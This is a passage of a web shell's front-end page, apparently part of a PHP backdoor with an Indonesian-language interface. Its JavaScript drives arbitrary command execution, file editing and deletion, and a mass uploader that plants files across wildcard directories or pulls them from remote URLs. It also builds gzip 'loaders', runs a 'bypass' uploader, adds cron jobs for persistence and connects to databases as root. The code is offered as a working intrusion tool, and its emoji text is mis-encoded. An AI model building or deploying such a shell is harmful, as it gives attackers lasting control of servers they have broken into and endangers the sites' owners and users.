<div><h3>š¤ Upload File</h3><form id="uploadForm" enctype="multipart/form-data"><input type="file" name="file" id="uploadFile"> <button type="button" onclick="uploadFile()">Upload</button></form></div>
</div>
<div id="fileManagerResult"></div>
</div>
`;
refreshFileManager();
}
function refreshFileManager() {
const search = document.getElementById('searchInput')?.value || '';
ajaxPost({ajax_action: 'list_files', path: currentPath, search: search}, function(res) {
if (res.status === 'success') {
currentPath = res.cwd;
renderBreadcrumb(res.cwd, res.parent);
renderFileTable(res.files);
} else {
document.getElementById('fileTable').innerHTML = '<div class="error">Error loading files</div>';
}
});
}
function renderBreadcrumb(cwd, parent) {
const parts = cwd.split('/').filter(p => p);
let html = `<b>š Path:</b> <a href="javascript:goToPath('/')">[root]</a> / `;
let current = '';
for (let part of parts) {
current += '/' + part;
html += `<a href="javascript:goToPath('${current}')">${part}</a> / `;
}
document.getElementById('breadcrumb').innerHTML = html;
}
function goToPath(path) {
currentPath = path;
refreshFileManager();
}
function renderFileTable(files) {
let html = `<table style="width:100%">
<tr style="background:#222">
<th>Name</th><th>Size</th><th>Perms</th><th>Owner:Group</th><th>Modified</th><th>Actions</th>
</tr>`;
// Parent directory link
if (currentPath !== '/') {
html += `<tr><td colspan="6"><a href="javascript:goToPath('${currentPath.substring(0, currentPath.lastIndexOf('/')) || '/'}')">š [..]</a></td></tr>`;
}
for (let file of files) {
const icon = file.is_dir ? 'š' : 'š';
const size = file.size_formatted;
html += `<tr>
<td>${icon} ${file.is_dir ? `<a href="javascript:goToPath('${file.path}')">${escapeHtml(file.name)}</a>` : `<a href="javascript:viewFile('${file.path}')">${escapeHtml(file.name)}</a>`}</td>
<td>${size}</td>
<td>${file.perms}</td>
<td>${escapeHtml(file.owner_group)}</td>
<td>${file.modified}</td>
<td>
${!file.is_dir ? `<button onclick="editFile('${file.path}')">Edit</button> ` : ''}
<button onclick="deleteItem('${file.name}')">Del</button>
<form style="display:inline" onsubmit="renameItem('${file.name}', this); return false">
<input type="text" name="newName" placeholder="rename" size="6" style="width:60px">
<button type="submit">Rename</button>
</form>
<form style="display:inline" onsubmit="chmodItem('${file.path}', this); return false">
<input type="text" name="perms" value="${file.perms}" size="3" style="width:40px">
<button type="submit">Chmod</button>
</form>
${!file.is_dir && file.name.endsWith('.zip') ? `<button onclick="extractZip('${file.path}')">Extract</button> ` : ''}
</td>
</tr>`;
}
html += `</table>`;
document.getElementById('fileTable').innerHTML = html;
}
function searchFiles() {
refreshFileManager();
}
function createFile() {
const filename = document.getElementById('newFileName').value;
if (!filename) return alert('Masukkan nama file');
ajaxPost({ajax_action: 'create_file', cwd: currentPath, filename: filename}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
document.getElementById('newFileName').value = '';
});
}
function createFolder() {
const foldername = document.getElementById('newFolderName').value;
if (!foldername) return alert('Masukkan nama folder');
ajaxPost({ajax_action: 'create_folder', cwd: currentPath, foldername: foldername}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
document.getElementById('newFolderName').value = '';
});
}
function deleteItem(item) {
if (!confirm(`Hapus ${item}?`)) return;
ajaxPost({ajax_action: 'delete_item', cwd: currentPath, item: item}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
});
}
function renameItem(oldName, form) {
const newName = form.newName.value;
if (!newName) return alert('Masukkan nama baru');
ajaxPost({ajax_action: 'rename_item', cwd: currentPath, old: oldName, new: newName}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
form.newName.value = '';
});
}
function chmodItem(filePath, form) {
const perms = form.perms.value;
if (!perms) return;
ajaxPost({ajax_action: 'chmod_item', file: filePath, perms: perms}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
});
}
function viewFile(filePath) {
ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) {
if (res.status === 'success') {
const win = window.open();
win.document.write(`<pre style="background:#000;color:#0f0;padding:20px">${escapeHtml(res.content)}</pre>`);
} else {
alert(res.message);
}
});
}
function editFile(filePath) {
ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) {
if (res.status === 'success') {
currentFileContent = res.content;
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>āļø Editing: ${escapeHtml(filePath.split('/').pop())}</h2>
<textarea id="editorContent" style="width:100%;height:400px;background:#222;color:#0f0">${escapeHtml(res.content)}</textarea><br>
<button onclick="saveFileContent('${filePath}')">Save</button>
<button onclick="loadAction('filemanager')">Back</button>
</div>
`;
} else {
alert(res.message);
}
});
}
function saveFileContent(filePath) {
const content = document.getElementById('editorContent').value;
ajaxPost({ajax_action: 'save_file_content', file: filePath, content: content}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') loadAction('filemanager');
});
}
function uploadFile() {
const fileInput = document.getElementById('uploadFile');
if (!fileInput.files.length) return alert('Pilih file');
const formData = new FormData();
formData.append('ajax_action', 'upload_file');
formData.append('cwd', currentPath);
formData.append('file', fileInput.files[0]);
const xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
if (xhr.status === 200) {
try {
const res = JSON.parse(xhr.responseText);
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
fileInput.value = '';
} catch(e) {
alert('Error: ' + e.message);
}
} else {
alert('Upload failed');
}
};
xhr.send(formData);
}
function extractZip(zipFile) {
if (!confirm('Extract ZIP file?')) return;
ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: currentPath}, function(res) {
showResult(res.message, res.status);
if (res.status === 'success') refreshFileManager();
});
}
// ========== MASS UPLOADER ==========
function renderMassUploader() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>š¦ Mass Uploader</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<h3>š Directory Tujuan</h3>
<input type="text" id="targetDir" value="${currentPath}" style="width:100%">
<small>Bisa pakai wildcard * untuk multiple folder</small>
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<h3>āļø Depth Setting</h3>
<select id="depth">
<option value="0">Depth 0 - Langsung ke folder tujuan</option>
<option value="1">Depth 1 - Pertahankan 1 level folder</option>
</select>
</div>
<div class="tab-buttons">
<button class="tab-btn active" onclick="showMassTab('copy')">š Copy File</button>
<button class="tab-btn" onclick="showMassTab('url')">š URL Download</button>
</div>
<div id="massTabCopy" class="tab-content active">
<h3>š Copy File dari Server</h3>
<textarea id="fileList" style="width:100%;height:150px" placeholder="/home/user/file1.txt /var/www/*.php"></textarea>
<button onclick="processMassAction('copy')">š COPY FILES</button>
</div>
<div id="massTabUrl" class="tab-content">
<h3>š Download dari URL</h3>
<textarea id="urlList" style="width:100%;height:150px" placeholder="https://example.com/file1.jpg https://example.com/file.php|custom.php"></textarea>
<button onclick="processMassAction('url')">š DOWNLOAD FILES</button>
</div>
<div id="massResult"></div>
</div>
`;
}
function showMassTab(tab) {
const copyTab = document.getElementById('massTabCopy');
const urlTab = document.getElementById('massTabUrl');
const btns = document.querySelectorAll('.tab-btn');
if (tab === 'copy') {
copyTab.classList.add('active');
urlTab.classList.remove('active');
btns[0].classList.add('active');
btns[1].classList.remove('active');
} else {
copyTab.classList.remove('active');
urlTab.classList.add('active');
btns[0].classList.remove('active');
btns[1].classList.add('active');
}
}
function processMassAction(action) {
const targetDir = document.getElementById('targetDir').value;
const depth = document.getElementById('depth').value;
let data = {
ajax_action: 'mass_upload',
mass_action: action,
target_dir: targetDir,
depth: depth
};
if (action === 'copy') {
data.file_list = document.getElementById('fileList').value;
if (!data.file_list.trim()) return alert('Masukkan daftar file');
} else {
data.url_list = document.getElementById('urlList').value;
if (!data.url_list.trim()) return alert('Masukkan daftar URL');
}
const resultDiv = document.getElementById('massResult');
resultDiv.innerHTML = '<div class="loading"></div> Processing...';
ajaxPost(data, function(res) {
if (res.success !== undefined) {
let html = `<div class="panel" style="margin-top:15px">
<h3>š Hasil Mass Upload</h3>
<p>ā
Sukses: ${res.success} | ā Gagal: ${res.failed} | Total: ${res.total}</p>`;
if (res.results && res.results.length) {
html += `<details><summary>Detail</summary>
<table style="width:100%;font-size:12px">
<tr><th>Status</th><th>Sumber</th><th>Tujuan</th><th>Message</th></tr>`;
for (let r of res.results) {
html += `<tr>
<td style="color:${r.status === 'success' ? '#0f0' : '#f00'}">${r.status === 'success' ? 'ā
' : 'ā'}</td>
<td>${escapeHtml(r.source)}</td>
<td>${escapeHtml(r.target || '-')}</td>
<td>${escapeHtml(r.message || '')}</td>
</tr>`;
}
html += `</table></details>`;
}
html += `</div>`;
resultDiv.innerHTML = html;
} else {
resultDiv.innerHTML = `<div class="error">Error: ${res.message || 'Unknown'}</div>`;
}
});
}
// ========== GZIP MAKER ==========
function renderGzipMaker() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>šØ Gzip Maker</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>š Source (path atau URL):</strong></label>
<input type="text" id="gzipSource" style="width:100%" placeholder="/path/file.php or https://example.com/file.php">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>š Gzip Name:</strong></label>
<input type="text" id="gzipName" style="width:100%" placeholder="Kosong = random">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>š§ Use Loader?</strong></label><br>
<label><input type="radio" name="useLoader" value="y" onclick="toggleLoaderDiv(true)"> Ya</label>
<label><input type="radio" name="useLoader" value="n" checked onclick="toggleLoaderDiv(false)"> Tidak</label>
<div id="loaderDiv" style="display:none;margin-top:10px">
<label>Loader Name:</label>
<input type="text" id="loaderName" style="width:100%" placeholder="Kosong = random">
</div>
</div>
<button onclick="processGzip()">šØ PROSES</button>
<div id="gzipResult"></div>
</div>
`;
}
function toggleLoaderDiv(show) {
document.getElementById('loaderDiv').style.display = show ? 'block' : 'none';
}
function processGzip() {
const source = document.getElementById('gzipSource').value;
if (!source) return alert('Masukkan source');
const useLoader = document.querySelector('input[name="useLoader"]:checked').value;
const loaderName = document.getElementById('loaderName')?.value || '';
const resultDiv = document.getElementById('gzipResult');
resultDiv.innerHTML = '<div class="loading"></div> Processing...';
ajaxPost({
ajax_action: 'make_gzip',
source: source,
gzip_name: document.getElementById('gzipName').value,
use_loader: useLoader,
loader_name: loaderName
}, function(res) {
if (res.status === 'success') {
let html = `<div class="success" style="margin-top:15px">
<h3>ā
GZIP Created!</h3>
<p>File: <a href="${res.gzip_file}">${res.gzip_file}</a> (${res.size})</p>`;
if (res.loader_file) {
html += `<p>š¦ Loader: <a href="${res.loader_file}">${res.loader_file}</a></p>`;
html += `<details><summary>Preview</summary><pre>${escapeHtml(res.loader_content)}</pre></details>`;
}
html += `</div>`;
resultDiv.innerHTML = html;
} else {
resultDiv.innerHTML = `<div class="error">ā ${res.message}</div>`;
}
});
}
// ========== MULTI UPLOAD ==========
function renderMultiUpload() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>š¤ Multi Upload</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>š Target Directory:</strong></label>
<input type="text" id="multiTargetDir" value="${currentPath}" style="width:100%">
</div>
<div class="dropzone" id="multiDropzone" onclick="document.getElementById('multiFileInput').click()">
š Drag & drop files here or click to select
</div>
<input type="file" id="multiFileInput" multiple style="display:none">
<div id="multiFileList"></div>
<button onclick="processMultiUpload()">š Upload All</button>
<div id="multiResult"></div>
</div>
`;
const dropzone = document.getElementById('multiDropzone');
const fileInput = document.getElementById('multiFileInput');
dropzone.addEventListener('dragover', (e) => e.preventDefault());
dropzone.addEventListener('drop', (e) => {
e.preventDefault();
fileInput.files = e.dataTransfer.files;
updateMultiFileList();
});
fileInput.addEventListener('change', () => updateMultiFileList());
}
function updateMultiFileList() {
const input = document.getElementById('multiFileInput');
let html = '<h4>Selected:</h4>';
for (let i = 0; i < input.files.length; i++) {
html += `<div>${escapeHtml(input.files[i].name)}</div>`;
}
document.getElementById('multiFileList').innerHTML = html;
}
function processMultiUpload() {
const fileInput = document.getElementById('multiFileInput');
if (!fileInput.files.length) return alert('Pilih file');
const targetDir = document.getElementById('multiTargetDir').value;
const resultDiv = document.getElementById('multiResult');
resultDiv.innerHTML = '<div class="loading"></div> Uploading...';
let completed = 0;
let success = 0;
let failed = 0;
const total = fileInput.files.length;
for (let i = 0; i < total; i++) {
const formData = new FormData();
formData.append('ajax_action', 'upload_file');
formData.append('cwd', targetDir);
formData.append('file', fileInput.files[i]);
const xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
completed++;
if (xhr.status === 200) {
try {
const res = JSON.parse(xhr.responseText);
if (res.status === 'success') success++;
else failed++;
} catch(e) { failed++; }
} else { failed++; }
resultDiv.innerHTML = `<div>Uploading: ${completed}/${total} | ā
${success} | ā ${failed}</div>`;
if (completed === total) {
resultDiv.innerHTML += `<div class="success">ā
Upload complete: ${success} success, ${failed} failed</div>`;
document.getElementById('multiFileInput').value = '';
document.getElementById('multiFileList').innerHTML = '';
}
};
xhr.send(formData);
}
}
// ========== COMMAND ==========
function renderCommand() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>āØļø Command Execution</h2>
<div style="display:flex;gap:10px">
<input type="text" id="cmdInput" style="flex:1" placeholder="ls -la" onkeypress="if(event.keyCode===13) executeCommand()">
<button onclick="executeCommand()">Execute</button>
</div>
<div id="cmdOutput" style="background:#111;padding:15px;margin-top:15px;border:1px solid #333;overflow:auto;max-height:400px"></div>
</div>
`;
}
function executeCommand() {
const cmd = document.getElementById('cmdInput').value;
if (!cmd) return;
const outputDiv = document.getElementById('cmdOutput');
outputDiv.innerHTML = '<div class="loading"></div> Executing...';
ajaxPost({ajax_action: 'execute_cmd', cmd: cmd}, function(res) {
if (res.status === 'success') {
outputDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
} else {
outputDiv.innerHTML = `<div class="error">Error: ${res.message}</div>`;
}
});
}
// ========== RAW URL UPLOAD ==========
function renderRawUpload() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>š¦ Raw URL Upload</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>URL:</strong></label>
<input type="text" id="rawUrl" style="width:100%" placeholder="https://example.com/file.zip">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>Save as (opsional):</strong></label>
<input type="text" id="rawFilename" style="width:100%" placeholder="Kosong = auto detect">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>š Save Path:</strong></label>
<input type="text" id="rawSavePath" style="width:100%" value="${currentPath}">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>š Rewrite Mode:</strong></label>
<select id="rawRewriteMode">
<option value="skip">Skip if exists</option>
<option value="backup">Backup then overwrite</option>
<option value="overwrite">Overwrite</option>
</select>
</div>
<button onclick="processRawUpload()">š„ Download & Save</button>
<div id="rawResult"></div>
</div>
`;
}
function processRawUpload() {
const url = document.getElementById('rawUrl').value;
if (!url) return alert('Masukkan URL');
const resultDiv = document.getElementById('rawResult');
resultDiv.innerHTML = '<div class="loading"></div> Downloading...';
ajaxPost({
ajax_action: 'raw_upload',
raw_url: url,
filename: document.getElementById('rawFilename').value,
save_path: document.getElementById('rawSavePath').value,
rewrite_mode: document.getElementById('rawRewriteMode').value
}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<div class="success">
ā
Downloaded: ${escapeHtml(res.file)} (${res.size})
</div>`;
} else {
resultDiv.innerHTML = `<div class="error">ā ${res.message}</div>`;
}
});
}
// ========== BYPASS UPLOADER ==========
function renderBypassUploader() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>š Bypass Uploader</h2>
<div class="dropzone" onclick="document.getElementById('bypassFileInput').click()">
š Click to select file
</div>
<input type="file" id="bypassFileInput" style="display:none">
<button onclick="processBypassUpload()">š Upload</button>
<div id="bypassResult"></div>
</div>
`;
}
function processBypassUpload() {
const fileInput = document.getElementById('bypassFileInput');
if (!fileInput.files.length) return alert('Pilih file');
const formData = new FormData();
formData.append('ajax_action', 'upload_file');
formData.append('cwd', currentPath);
formData.append('file', fileInput.files[0]);
const resultDiv = document.getElementById('bypassResult');
resultDiv.innerHTML = '<div class="loading"></div> Uploading...';
const xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function() {
if (xhr.status === 200) {
try {
const res = JSON.parse(xhr.responseText);
resultDiv.innerHTML = `<div class="success">ā
${res.message}</div>`;
fileInput.value = '';
} catch(e) {
resultDiv.innerHTML = `<div class="error">Error: ${e.message}</div>`;
}
} else {
resultDiv.innerHTML = `<div class="error">Upload failed</div>`;
}
};
xhr.send(formData);
}
// ========== EXTRACT MANAGER ==========
function renderExtractManager() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>š¦ Extract / Unzip Files</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>š¦ ZIP File:</strong></label>
<input type="text" id="extractZipFile" style="width:100%" placeholder="/path/to/file.zip">
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<label><strong>š Extract To:</strong></label>
<input type="text" id="extractTo" style="width:100%" value="${currentPath}">
</div>
<button onclick="processExtract()">š¦ Extract Now</button>
<div id="extractResult"></div>
</div>
`;
}
function processExtract() {
const zipFile = document.getElementById('extractZipFile').value;
const extractTo = document.getElementById('extractTo').value;
if (!zipFile) return alert('Masukkan path ZIP file');
const resultDiv = document.getElementById('extractResult');
resultDiv.innerHTML = '<div class="loading"></div> Extracting...';
ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: extractTo}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<div class="success">ā
${res.message}<br>š Target: ${escapeHtml(res.target)}</div>`;
} else {
resultDiv.innerHTML = `<div class="error">ā ${res.message}</div>`;
}
});
}
// ========== CRON MANAGER ==========
function renderCronManager() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>ā° Cron Job Manager</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<h3>ā Add Cron</h3>
<input type="text" id="cronSchedule" style="width:100%" placeholder="* * * * *" value="* * * * *">
<input type="text" id="cronCommand" style="width:100%;margin-top:10px" placeholder="/usr/bin/php /path/script.php">
<button onclick="addCron()" style="margin-top:10px">Add</button>
</div>
<div id="cronList"></div>
<div class="info" style="margin-top:15px">
<pre>* * * * * command\nā ā ā ā ā\nā ā ā ā āā Day of week (0-7)\nā ā ā āāāā Month (1-12)\nā ā āāāāāā Day of month (1-31)\nā āāāāāāāā Hour (0-23)\nāāāāāāāāāā Minute (0-59)</pre>
</div>
</div>
`;
refreshCronList();
}
function refreshCronList() {
ajaxPost({ajax_action: 'execute_cmd', cmd: 'crontab -l 2>&1'}, function(res) {
const cronDiv = document.getElementById('cronList');
if (res.status === 'success' && res.output && !res.output.includes('no crontab')) {
const lines = res.output.split('\n');
let html = '<h3>š Current Crontab</h3><table style="width:100%"><tr><th>Schedule</th><th>Command</th><th>Action</th></tr>';
for (let i = 0; i < lines.length; i++) {
const line = lines[i].trim();
if (line && !line.startsWith('#')) {
const parts = line.split(' ');
const schedule = parts.slice(0, 5).join(' ');
const command = parts.slice(5).join(' ');
html += `<tr>
<td><code>${escapeHtml(schedule)}</code></td>
<td><code>${escapeHtml(command)}</code></td>
<td><button onclick="deleteCronLine(${i})">Delete</button></td>
</tr>`;
}
}
html += `</table>`;
cronDiv.innerHTML = html;
} else {
cronDiv.innerHTML = '<div class="warning">No crontab for this user</div>';
}
});
}
function addCron() {
const schedule = document.getElementById('cronSchedule').value;
const command = document.getElementById('cronCommand').value;
if (!command) return alert('Masukkan command');
ajaxPost({ajax_action: 'execute_cmd', cmd: `(crontab -l 2>/dev/null; echo "${schedule} ${command}") | crontab -`}, function(res) {
if (res.status === 'success') {
alert('Cron added');
refreshCronList();
document.getElementById('cronCommand').value = '';
} else {
alert('Failed to add cron');
}
});
}
function deleteCronLine(lineNum) {
if (!confirm('Delete this cron job?')) return;
ajaxPost({ajax_action: 'execute_cmd', cmd: `crontab -l 2>/dev/null | sed '${lineNum+1}d' | crontab -`}, function(res) {
alert('Cron deleted');
refreshCronList();
});
}
// ========== DB MANAGER ==========
function renderDbManager() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>šļø Database Manager</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<h3>š Koneksi Database</h3>
<input type="text" id="dbHost" placeholder="Host" value="localhost" style="width:100%">
<input type="text" id="dbUser" placeholder="User" value="root" style="width:100%;margin-top:10px">
<input type="password" id="dbPass" placeholder="Password" style="width:100%;margin-top:10px">
<input type="text" id="dbName" placeholder="Database" style="width:100%;margin-top:10px">
<input type="text" id="dbPort" placeholder="Port" value="3306" style="width:100%;margin-top:10px">
<button onclick="connectDb()" style="margin-top:10px">š Connect</button>
</div>
<div id="dbResult"></div>
</div>
`;
}
function connectDb() {
const resultDiv = document.getElementById('dbResult');
resultDiv.innerHTML = '<div class="loading"></div> Connecting...';
ajaxPost({
ajax_action: 'db_connect',
host: document.getElementById('dbHost').value,
user: document.getElementById('dbUser').value,
pass: document.getElementById('dbPass').value,
name: document.getElementById('dbName').value,
port: document.getElementById('dbPort').value
}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<div class="success">ā
Connected to ${res.database}</div>`;
// Show tables
if (res.tables) {
let html = '<h3>š Tables</h3><table><tr><th>Table</th><th>Actions</th></tr>';
for (let table of res.tables) {
html += `<tr><td>${escapeHtml(table)}</td>
<td><button onclick="browseTable('${table}')">Browse</button></td>
</tr>`;
}
html += `</table>`;
resultDiv.innerHTML += html;
}
} else {
resultDiv.innerHTML = `<div class="error">ā ${res.message}</div>`;
}
});
}
// ========== DB CHECK ==========
function renderDbCheck() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>šļø Database Check</h2>
<div id="dbCheckResult"></div>
</div>
`;
ajaxPost({ajax_action: 'db_check'}, function(res) {
const div = document.getElementById('dbCheckResult');
if (res.status === 'success') {
let html = '<div class="success">';
for (let item of res.info) {
html += `<div>${item}</div>`;
}
html += '</div>';
div.innerHTML = html;
} else {
div.innerHTML = `<div class="error">${res.message}</div>`;
}
});
}
// ========== SECURITY SCAN ==========
function renderSecurityScan() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>š Security Scan</h2>
<div id="securityResult"></div>
</div>
`;
ajaxPost({ajax_action: 'security_scan'}, function(res) {
const div = document.getElementById('securityResult');
if (res.status === 'success') {
let html = '<pre>';
for (let item of res.info) {
html += item + '\n';
}
html += '</pre>';
div.innerHTML = html;
} else {
div.innerHTML = `<div class="error">${res.message}</div>`;
}
});
}
// ========== NETWORK TOOLS ==========
function renderNetworkTools() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>š Network Tools</h2>
<div style="background:#111;padding:15px;margin:10px 0">
<h3>Ping</h3>
<div style="display:flex;gap:10px">
<input type="text" id="pingHost" style="flex:1" placeholder="google.com">
<button onclick="doPing()">Ping</button>
</div>
</div>
<div style="background:#111;padding:15px;margin:10px 0">
<h3>cURL</h3>
<div style="display:flex;gap:10px">
<input type="text" id="curlUrl" style="flex:1" placeholder="https://example.com">
<button onclick="doCurl()">cURL</button>
</div>
</div>
<div id="networkResult"></div>
</div>
`;
}
function doPing() {
const host = document.getElementById('pingHost').value;
if (!host) return;
const resultDiv = document.getElementById('networkResult');
resultDiv.innerHTML = '<div class="loading"></div> Pinging...';
ajaxPost({ajax_action: 'execute_cmd', cmd: `ping -c 4 ${host} 2>&1`}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
} else {
resultDiv.innerHTML = `<div class="error">${res.message}</div>`;
}
});
}
function doCurl() {
const url = document.getElementById('curlUrl').value;
if (!url) return;
const resultDiv = document.getElementById('networkResult');
resultDiv.innerHTML = '<div class="loading"></div> Fetching...';
ajaxPost({ajax_action: 'execute_cmd', cmd: `curl -I "${url}" 2>&1`}, function(res) {
if (res.status === 'success') {
resultDiv.innerHTML = `<pre>${escapeHtml(res.output)}</pre>`;
} else {
resultDiv.innerHTML = `<div class="error">${res.message}</div>`;
}
});
}
// ========== INFO ==========
function renderInfo() {
const mainContent = document.getElementById('mainContent');
mainContent.innerHTML = `
<div class="panel">
<h2>ā¹ļø System Info</h2>
<div id="infoResult"></div>
</div>
`;
ajaxPost({ajax_action: 'get_info'}, function(res) {
const div = document.getElementById('infoResult');
if (res.status === 'success') {
let html = '<table style="width:100%">';
for (let [key, value] of Object.entries(res.info)) {
html += `<tr><th style="width:200px">${key}</th><td>${escapeHtml(String(value))}</td></tr>`;
}
html += `</table>`;
div.innerHTML = html;
} else {
div.innerHTML = `<div class="error">${res.message}</div>`;
}
});
}
// ========== UTILITIES ==========
function escapeHtml(str) {
if (!str) return '';
return str.replace(/[&<>]/g, function(m) {
if (m === '&') return '&';
if (m === '<') return '<';
if (m === '>') return '>';
return m;
});
}
function showResult(message, status) {
const resultDiv = document.getElementById('fileManagerResult');
if (resultDiv) {
resultDiv.innerHTML = `<div class="${status === 'success' ? 'success' : 'error'}">${escapeHtml(message)}</div>`;
setTimeout(() => { resultDiv.innerHTML = ''; }, 3000);
} else {
alert(message);
}
}
// Initialize
buildMenu();
loadAction('filemanager');
</script>
</body>
</html>
<?php
?>